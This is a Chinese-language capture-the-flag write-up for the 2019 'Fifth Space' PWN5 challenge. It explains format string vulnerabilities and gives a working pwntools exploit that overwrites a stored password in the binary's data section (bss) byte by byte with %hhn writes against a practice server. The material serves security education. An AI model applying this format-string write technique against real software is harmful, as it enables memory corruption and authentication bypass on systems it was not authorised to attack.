[第五空间2019 决赛]PWN5

 格式化漏洞讲解:  https://www.cnblogs.com/0xJDchen/p/5904816.html

%x是吧数据以16进制输出

%n是把已经输出的字符数目输入传来参数的地址中,这就可以使我们修改数据

格式 : %12$x    可以直接定位到地12个参数   其他%p,%s,%%n等类似

一般来说 先输入 'AAAA %08x %08x %08x %08x %08x.....'来判断我们输入首地址的偏移 (找到41414141就是AAAA)

继而就可以任意修改栈上的数据

看题目

明显的格式化漏洞

因为这个unk_804c044从服务器读入,无法知道其内容,所以使用%n将其数据修改,随后passwd输入相同的数据即可

from pwn import *

# io=process('./pwn')

io=remote('node3.buuoj.cn',28876)

addr=0x0804C044

# base=10

payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)

payload+='%10$hhn%11$hhn%12$hhn%13$hhn'

io.sendline(payload)

payload=str(0x10101010)

io.sendline(payload)

io.interactive()

补充说明:%n   %s  是要解析出数据表达的地址的, 所以我们才能实现任意地址修改(要有修改权限,没有的话可以调用某个函数,给忘了。。。)

  这里我们把bss地址先输入,然后用%10hhn  %11hhn  %12hhn  %13hhn按一个一个byte地修改

原文地址:https://www.cnblogs.com/lxy8584099/p/11826781.html